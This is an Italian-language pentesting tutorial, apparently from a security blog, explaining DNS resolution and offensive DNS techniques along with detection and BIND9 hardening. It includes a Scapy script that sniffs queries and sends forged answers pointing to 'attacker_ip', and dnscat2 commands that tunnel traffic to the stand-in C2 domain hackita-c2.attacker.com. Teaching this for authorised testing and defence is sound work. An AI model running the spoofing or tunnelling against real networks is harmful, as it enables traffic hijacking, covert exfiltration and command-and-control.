networking

DNS: Cos’è, Come Funziona e Come Sfruttarlo in un Pentest

DNS: Cos’è, Come Funziona e Come Sfruttarlo in un Pentest

Scopri cos’è il DNS, come funziona la risoluzione dei nomi e come sfruttarlo in un pentest: zone transfer, subdomain enumeration, cache poisoning, tunneling e difese.

  • Pubblicato il 2026-03-22
  • Tempo di lettura: 9 min

DNS è la rubrica di Internet. Capire cos’è il DNS e come funziona la risoluzione dei nomi è fondamentale per chi fa pentesting: DNS è coinvolto in ogni fase di un engagement, dalla reconnaissance all’exfiltration. Zone transfer non protetti, DNS cache poisoning, subdomain enumeration, DNS tunneling: sono tutti vettori reali che emergono regolarmente in ogni tipo di assessment.


Cos’è DNS #

DNS (Domain Name System) è il sistema distribuito che traduce nomi di dominio leggibili dagli esseri umani (hackita.it) in indirizzi IP (93.184.216.34). Definito negli RFC 1034 e RFC 1035 del 1987, DNS opera principalmente su UDP porta 53 (per query standard) e TCP porta 53 (per trasferimenti di zona e risposte grandi).

DNS è una delle infrastrutture più critiche di Internet: senza DNS, nessuna applicazione che usa nomi di dominio funziona. È anche uno dei protocolli più abusati in sicurezza offensiva per la sua ubiquità — quasi nessun firewall blocca il traffico DNS.

La gerarchia DNS #

DNS è organizzato in una gerarchia ad albero rovesciato:

text
.                          (root)
├── com
│   ├── google
│   │   └── www
│   └── hackita (non esiste su .com)
├── it
│   └── hackita
│       ├── www
│       ├── mail
│       └── vpn
└── net
    └── ...

Ogni nodo è gestito da server autoritativi responsabili per quella zona.

I record DNS principali #

TipoDescrizioneUso offensivo
AIPv4 addressMapping hostname → IP
AAAAIPv6 addressMapping hostname → IPv6
CNAMECanonical name (alias)Scoprire nomi alternativi
MXMail exchangerIdentificare server di posta
NSName serverIdentificare i nameserver autoritativi
TXTTesto arbitrarioSPF, DKIM, DMARC, verifica domini, info leakage
SOAStart of AuthorityInfo sull’amministratore, serial number
PTRReverse lookup (IP → nome)Identificare hostname da IP
SRVService recordScoprire servizi (Kerberos, LDAP, SIP)
AXFRZone transfer requestDump completo di una zona

Come funziona DNS #

Il processo di risoluzione ricorsiva #

Quando un client risolve www.hackita.it:

  1. Il client interroga il proprio resolver (tipicamente il gateway o un DNS aziendale)
  2. Il resolver controlla la propria cache — se ha la risposta, la restituisce immediatamente
  3. Se non ha la risposta, interroga un root server (13 indirizzi root, es. a.root-servers.net)
  4. Il root server risponde con i nameserver per .it
  5. Il resolver interroga i nameserver .it, che rispondono con i nameserver per hackita.it
  6. Il resolver interroga i nameserver di hackita.it, che rispondono con l’IP di www
  7. Il resolver restituisce la risposta al client e la memorizza in cache per il TTL indicato

Struttura di un messaggio DNS #

CampoDescrizione
Transaction IDIdentificatore della query (16 bit) — usato per il matching risposta/query
FlagsQR (query/response), Opcode, AA, TC, RD, RA, RCODE
QuestionsSezione delle domande (nome + tipo)
AnswersSezione delle risposte
AuthorityNameserver autoritativi
AdditionalRecord aggiuntivi (es. glue records)

Il Transaction ID è a 16 bit: solo 65536 valori possibili. Su implementazioni vecchie con ID prevedibili, questo è il punto di attacco per il DNS cache poisoning.

DNS ricorsivo vs autoritativo #

  • DNS ricorsivo (resolver): riceve query dai client, fa il lavoro di risoluzione ricorsiva, memorizza in cache. Esempi: DNS aziendale, 8.8.8.8 (Google), 1.1.1.1 (Cloudflare)
  • DNS autoritativo: detiene le informazioni ufficiali per una zona. Risponde solo per i domini di cui è responsabile

TTL e caching #

Ogni record DNS ha un TTL (Time To Live) in secondi. I resolver mantengono i record in cache per la durata del TTL prima di ri-interrogare il server autoritativo. TTL bassi significano propagazione rapida dei cambiamenti ma più carico sui server. TTL alti significano cambio lento ma meno query.

In un attacco di cache poisoning, l’obiettivo è avvelenare la cache prima che il TTL scada.


Dove viene usato DNS nelle reti #

DNS è presente in ogni comunicazione di rete che usa nomi:

  • Navigazione web: ogni URL richiede risoluzione DNS
  • Email: record MX per la ricezione, SPF/DKIM/DMARC in record TXT per l’autenticazione
  • Servizi interni aziendali: DNS interno per risolvere hostname come fileserver.corp.internal
  • Active Directory: Kerberos, LDAP, e altri servizi AD sono pubblicati tramite record SRV DNS
  • Cloud e CDN: bilanciamento del carico e failover tramite DNS (Anycast, GeoDNS)
  • PKI e certificate validation: OCSP e CRL spesso usano hostname DNS

Perché DNS è importante in cybersecurity #

DNS è il punto di partenza di quasi ogni fase di un engagement:

  • Reconnaissance: i record DNS pubblici rivelano l’infrastruttura (IP, server di posta, CDN, servizi interni esposti)
  • Subdomain enumeration: bruteforce o trasferimento di zona per trovare asset non pubblicizzati
  • Exfiltration: DNS tunneling per esfiltrare dati attraverso firewall che permettono solo DNS
  • C2: botnet e malware usano DNS per il command and control (DNS over HTTPS rende il rilevamento ancora più difficile)
  • Lateral movement: i record SRV rivelano i servizi Active Directory interni

Per il livello di trasporto su cui DNS opera, vedi UDP e TCP.


DNS in un engagement di pentesting #

Reconnaissance passiva con DNS #

Prima ancora di inviare query attive, i record DNS pubblici rivelano una quantità enorme di informazioni:

bash
# Query base
dig hackita.it A
dig hackita.it MX
dig hackita.it NS
dig hackita.it TXT
dig hackita.it ANY      # Tutti i record (spesso disabilitato)

# Reverse lookup
dig -x 93.184.216.34

# Specificare un nameserver
dig @8.8.8.8 hackita.it A

# Record SOA — rivela l'admin e il serial number
dig hackita.it SOA

# Record SRV — fondamentale per Active Directory
dig _kerberos._tcp.corp.internal SRV
dig _ldap._tcp.corp.internal SRV

Con nslookup (cross-platform):

bash
nslookup -type=MX hackita.it
nslookup -type=NS hackita.it

Zone Transfer (AXFR) #

Il zone transfer permette di scaricare l’intero contenuto di una zona DNS. Originariamente pensato per la sincronizzazione tra nameserver primari e secondari, se non è limitato agli IP autorizzati chiunque può ottenere tutti i record del dominio.

bash
# Tentare zone transfer verso tutti i nameserver
dig @ns1.hackita.it hackita.it AXFR
dig @ns2.hackita.it hackita.it AXFR

# Con host
host -l hackita.it ns1.hackita.it

# Con fierce
fierce --domain hackita.it

Un zone transfer riuscito rivela immediatamente tutti i sottodomini, gli IP, i record di posta, e la struttura completa dell’infrastruttura DNS.

Subdomain Enumeration #

Se il zone transfer è bloccato, si passa alla forza bruta:

bash
# Con gobuster
gobuster dns -d hackita.it -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Con amass (reconnaissance avanzata)
amass enum -d hackita.it
amass enum -passive -d hackita.it   # Solo fonti passive (OSINT)

# Con subfinder
subfinder -d hackita.it

# Con dnsx per verificare i risultati
dnsx -l subdomains.txt -a -resp

Le fonti passive (Certificate Transparency logs, VirusTotal, Shodan) spesso rivelano sottodomini non trovati dalla forza bruta.

DNS Cache Poisoning #

L’attacco classico di Kaminsky (2008): avvelenare la cache di un resolver inviando risposte false prima di quella legittima. Richiede:

  1. Conoscere il Transaction ID (prevedibile su implementazioni vecchie)
  2. Inviare risposte false più velocemente del server legittimo
  3. Far sì che il resolver faccia una query che possiamo rispondere

Rilevante su resolver non aggiornati o che non implementano 0x20 encoding o DNSSEC.

Con Scapy per proof-of-concept:

python
from scapy.all import *

# Sniffing della query DNS e risposta falsa prima del server legittimo
def spoof_dns(pkt):
    if pkt.haslayer(DNS) and pkt[DNS].qr == 0:  # Query
        spoofed = (
            IP(src=pkt[IP].dst, dst=pkt[IP].src) /
            UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) /
            DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                an=DNSRR(rrname=pkt[DNS].qd.qname,
                         ttl=3600,
                         rdata="attacker_ip"))
        )
        send(spoofed, verbose=0)

sniff(filter="udp port 53", prn=spoof_dns)

DNS Tunneling #

DNS tunneling codifica dati arbitrari nei payload DNS (query e risposte) per creare un canale di comunicazione attraverso firewall che permettono DNS. Usato per exfiltration e C2.

dnscat2 è il tool più usato:

bash
# Sul server C2 (con dominio controllato)
dnscat2-server --no-cache hackita-c2.attacker.com

# Sul client (host compromesso)
./dnscat --dns server=attacker_ns,port=53,domain=hackita-c2.attacker.com

Il traffico appare come normale DNS verso un dominio esterno. Solo l’analisi del volume e dei pattern delle query rivela il tunnel.

DNS Enumeration per Active Directory #

In ambienti Windows con Active Directory, DNS rivela l’intera struttura AD:

bash
# Scoprire Domain Controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.internal
nslookup -type=SRV _kerberos._tcp.corp.internal

# Con Nmap
nmap -p 53 --script dns-srv-enum --script-args "dns-srv-enum.domain=corp.internal" <dc_ip>

# Brute force di zone interne
gobuster dns -d corp.internal -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r <internal_dns>

DNS Rebinding #

Un attaccante controlla un dominio che inizialmente risolve verso un IP esterno, poi cambia la risposta DNS (con TTL=0) per puntare verso un IP interno. Se un browser fa una seconda richiesta dopo la scadenza del TTL, la Same-Origin Policy viene aggirata e il browser può accedere a risorse interne.


Attacchi e abusi possibili su DNS #

Zone Transfer non protetto #

Come descritto: AXFR senza restrizioni IP rivela l’intera zona. Finding critica in qualsiasi assessment.

DNS Cache Poisoning #

Avvelenamento della cache del resolver per redirigere traffico verso IP controllati dall’attaccante. Mitigato da DNSSEC e source port randomization.

DNS Amplification (DRDoS) #

Usare resolver DNS aperti con IP sorgente spoofato per amplificare traffico verso una vittima. Le risposte DNS (specialmente ANY query) sono molto più grandi delle richieste.

bash
# Verifica se un resolver è aperto (accetta query da qualsiasi IP)
dig @<target_resolver> hackita.it A

Un resolver che risponde a qualsiasi query da qualsiasi IP è un “open resolver” — vettore di amplificazione.

DNS Tunneling #

Come descritto: exfiltration e C2 attraverso DNS. Difficile da bloccare senza deep packet inspection DNS.

DNS Rebinding #

Come descritto: bypass della Same-Origin Policy tramite cambio rapido del record DNS.

NXDOMAIN Hijacking #

Alcuni ISP e resolver intercettano le risposte NXDOMAIN (dominio non esistente) e restituiscono IP propri (landing page pubblicitarie). Questo può interferire con tool di security che usano NXDOMAIN come indicatore.


Esempi pratici con DNS in laboratorio #

Analisi DNS con Wireshark #

text
dns                               # Tutto il traffico DNS
dns.qry.type == 255               # Query ANY
dns.flags.rcode == 3              # NXDOMAIN
dns.flags.rcode == 0              # Risposta corretta
dns.qry.name contains "corp"      # Query per domini interni
dns.resp.ttl < 10                 # TTL molto bassi (possibile tunneling o rebinding)

Script di enumeration DNS completa #

bash
#!/bin/bash
DOMAIN=$1
echo "=== DNS Enumeration: $DOMAIN ==="

echo "[+] NS Records"
dig $DOMAIN NS +short

echo "[+] MX Records"
dig $DOMAIN MX +short

echo "[+] TXT Records"
dig $DOMAIN TXT +short

echo "[+] Zone Transfer attempt"
for ns in $(dig $DOMAIN NS +short); do
    echo "Trying $ns..."
    dig @$ns $DOMAIN AXFR
done

echo "[+] Common subdomains"
for sub in www mail ftp vpn dev staging api admin; do
    result=$(dig $sub.$DOMAIN A +short)
    [ -n "$result" ] && echo "$sub.$DOMAIN -> $result"
done

Identificare open resolver con Nmap #

bash
nmap -sU -p 53 --script dns-recursion <target>
# Se "Recursion appears to be enabled" → open resolver

Detection e difesa DNS #

Un difensore che monitora il traffico DNS può rilevare:

  • Volume anomalo di query DNS: possibile tunneling o reconnaissance massiva
  • Query per sottodomini con stringhe casuali lunghe: indicatore di DNS tunneling (es. aGVsbG8...hackita.it)
  • Query verso resolver esterni non autorizzati: host che bypassano il DNS aziendale
  • Zone transfer da IP non autorizzati: tentativi di AXFR da IP non in whitelist
  • Alte frequenze di NXDOMAIN: subdomain brute force in corso
  • TTL=0 o TTL bassissimi: possibile DNS rebinding in preparazione
  • Query di tipo TXT/NULL inusuali: pattern di tunneling

Tool: RPZ (Response Policy Zones) per bloccare domini malevoli, Zeek con script di analisi DNS, PassiveDNS per storicizzare le risposte.


Hardening e mitigazioni DNS #

Limitare il Zone Transfer #

text
# BIND9 — solo verso nameserver secondari autorizzati
zone "hackita.it" {
    type master;
    allow-transfer { 203.0.113.5; 203.0.113.6; };  // Solo NS secondari
};

Disabilitare la ricorsione verso l’esterno #

text
# BIND9
options {
    recursion yes;
    allow-recursion { 192.168.0.0/16; 10.0.0.0/8; };  // Solo rete interna
};

Implementare DNSSEC #

DNSSEC firma crittograficamente i record DNS, impedendo il cache poisoning. Richiede configurazione su tutti i livelli della gerarchia del dominio.

DNS over HTTPS (DoH) e DNS over TLS (DoT) #

Cifrare le query DNS impedisce l’intercettazione e la manipolazione in transito. Utile per la privacy dei client, ma complica il monitoraggio aziendale.

Response Rate Limiting (RRL) #

text
# BIND9 — mitiga l'amplificazione
rate-limit {
    responses-per-second 5;
    window 5;
};

Monitorare e loggare tutte le query DNS #

Un log completo delle query DNS è una delle fonti di intelligence più preziose per un SOC. Implementare DNS logging su tutti i resolver aziendali.


Errori comuni su DNS #

“Il zone transfer non è un rischio reale” Falso. Un AXFR riuscito rivela tutta la struttura dell’infrastruttura in un singolo comando. È una delle finding più critiche e più frequenti in fase di reconnaissance esterna.

“DNS opera solo su UDP” No. DNS usa UDP per le query normali (più veloce), ma usa TCP per zone transfer e per risposte che superano i 512 byte (esteso a 4096 con EDNS0).

“DNSSEC rende DNS sicuro” DNSSEC protegge dall’integrity tampering e dal cache poisoning, ma non cifra le query (visibili in chiaro). Non protegge da tunneling, exfiltration, o zone transfer non protetti.

“I record TXT non contengono informazioni sensibili” Spesso contengono molto: chiavi di verifica del dominio, policy SPF/DMARC, token di servizi cloud, e a volte stringhe di configurazione di applicazioni.


FAQ su DNS #

Cos’è DNS e come funziona? DNS (Domain Name System) è il sistema distribuito che traduce nomi di dominio in indirizzi IP. Quando un client risolve un nome, interroga un resolver che, se non ha la risposta in cache, percorre la gerarchia DNS dal root ai nameserver autoritativi per ottenere la risposta.

Cos’è un zone transfer DNS e perché è pericoloso? Un zone transfer (AXFR) è il meccanismo di sincronizzazione tra nameserver primari e secondari. Se non è limitato agli IP autorizzati, chiunque può richiedere il dump completo di tutti i record DNS di un dominio, rivelando l’intera struttura dell’infrastruttura.

Cos’è il DNS cache poisoning? È un attacco che inserisce record DNS falsi nella cache di un resolver. Le vittime che usano quel resolver vengono reindirizzate verso IP controllati dall’attaccante. Mitigato da DNSSEC e randomizzazione del source port.

Cos’è il DNS tunneling? Il DNS tunneling codifica dati arbitrari nelle query e risposte DNS per creare un canale di comunicazione nascosto. È usato per exfiltration di dati e per command and control di malware, sfruttando il fatto che DNS è raramente bloccato dai firewall.

Come si enumerano i sottodomini di un dominio? Con zone transfer (se non protetto), forza bruta con wordlist (gobuster, amass, subfinder), Certificate Transparency logs, motori di ricerca (Google, Shodan, Censys), e fonti OSINT. La combinazione di più tecniche dà la copertura più completa.


Conclusione su DNS #

DNS è il punto di partenza di ogni engagement. I record pubblici rivelano l’infrastruttura, i zone transfer non protetti espongono tutto, i sottodomini nascosti portano ad asset dimenticati. Nella fase post-exploitation, DNS diventa un canale di exfiltration quasi impossibile da bloccare senza degradare la funzionalità della rete.

Conoscere DNS a fondo significa sapere dove cercare, come enumerare sistematicamente, e come sfruttare le misconfigurazioni più comuni. Zone transfer aperto, open resolver, DNS senza logging: sono finding che compaiono in quasi ogni engagement su reti di qualsiasi dimensione.

Approfondisci i protocolli correlati:

Riferimento ufficiale: RFC 1035 — Domain Names — Implementation and Specification


La reconnaissance DNS è il primo passo di qualsiasi assessment. Se vuoi sapere cosa rivelano i tuoi record pubblici e come proteggere la tua infrastruttura: hackita.it/servizi

HackITA è gratuito perché qualcuno decide di supportarlo: hackita.it/supporto

#dns

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.